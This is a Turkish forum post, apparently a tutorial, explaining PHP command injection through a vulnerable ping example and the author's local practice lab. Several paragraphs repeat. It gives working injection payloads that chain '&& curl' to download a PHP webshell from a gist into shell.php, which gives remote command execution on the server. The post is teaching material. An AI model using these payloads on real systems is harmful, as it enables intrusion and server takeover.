Command injection en sade anlatımla şudur: Admin bize bir işi shell komutu ile yaptırır ama o shell'de yeni komut çalıştırabiliriz,
Örneğin sitenin admini bir kod yazmış shell_exec("ping " . $_GET['ip']); şeklinde, burada biz ?ip=127.0.0.1 de yazabiliriz normal bir kullanıcıysak,
Ama sen hackersin burada enjeksiyon arıyorsun, orayı ?ip=127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
yaptın, arka planda çalışan komut şu olur:
ping 127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
Peki bu zaafiyet nasıl kapatılır?
Ya kullanıcıdan gelen verinin içinde | veya & işareti var mı kontrol edilmeli ama yine de bu pek güvenli olmaz yapacağın iş için uygun fonksiyonu kullanmak en doğrusu olur,
Lab çözümü (aşağıdan indirip kurabilirsiniz):
Biraz kısa oldu sanırım, bu yüzden basit bir lab kodladım onu da lokale kurup çözebilirsiniz:
Örneğin sitenin admini bir kod yazmış shell_exec("ping " . $_GET['ip']); şeklinde, burada biz ?ip=127.0.0.1 de yazabiliriz normal bir kullanıcıysak,
Ama sen hackersin burada enjeksiyon arıyorsun, orayı ?ip=127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
yaptın, arka planda çalışan komut şu olur:
ping 127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
Peki bu zaafiyet nasıl kapatılır?
Ya kullanıcıdan gelen verinin içinde | veya & işareti var mı kontrol edilmeli ama yine de bu pek güvenli olmaz yapacağın iş için uygun fonksiyonu kullanmak en doğrusu olur,
Lab çözümü (aşağıdan indirip kurabilirsiniz):
Burada yorum yazma fonksiyonunda bir komut enjeksiyonu açığı vardır, system("echo " . $bro . ": " . $contentofmessage . ">> ./../com-data/coms.txt"); kodunda biz $bro yani isim kısmına normal bir isim yazdık diyelim, yorum yerine de öyle bişey yazacağız ki shell'de kendi komutumuz çalışacak, bu yüzden benim geliştirdiğim bir payload var: yorum atarken isim yerine can yazalım yorum yerine de abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 yazalım arkada çalışan komut şu olur:
"echo can: abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 >>./../com-data/coms.txt" bu şekilde shell.php'ye girdiğimizde artık sunucuda direkt komut çalıştırabiliriz.
"echo can: abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 >>./../com-data/coms.txt" bu şekilde shell.php'ye girdiğimizde artık sunucuda direkt komut çalıştırabiliriz.
Biraz kısa oldu sanırım, bu yüzden basit bir lab kodladım onu da lokale kurup çözebilirsiniz:
Ekli Dosyalar
Son düzenleme: